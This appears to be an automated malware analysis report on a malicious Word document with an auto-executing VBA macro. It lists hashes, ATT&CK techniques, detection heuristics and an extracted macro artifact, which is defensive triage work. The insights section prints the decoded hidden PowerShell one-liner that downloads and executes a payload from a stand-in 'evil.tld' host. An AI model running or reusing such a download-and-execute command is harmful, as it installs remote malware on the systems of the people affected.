Office (OLE) malware analysis — malicious · b75def84d6907e45

MALICIOUS

Office (OLE)

154.5 KB Created: 2020-09-15 04:19:00 Authoring application: Microsoft Office Word

MD5: 8276b8d012af8de62e9fb51a491c92d1 SHA-1: 478ebc666f5cdbbd5020c8dc46ea06c32cf24b6b SHA-256: b75def84d6907e45b5d49294b334f5691628413ba5ddb2c9e22e6d3e56992f63

300 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The sample is a malicious Office document containing a VBA macro that automatically executes upon opening. This macro utilizes an obfuscated PowerShell command to download and execute a second-stage payload from a remote URL. The PowerShell command reconstructs to: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.tld/payload.exe')". This indicates a downloader or droppper functionality.

Heuristics 8

Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL

OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
ClamAV: Doc.Malware.Ewlu-9762397-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Ewlu-9762397-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `262eaa2cfabe15c408f9ed0f71f3e80b6e1636570aa2563811ecb34f68c15392`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	22860 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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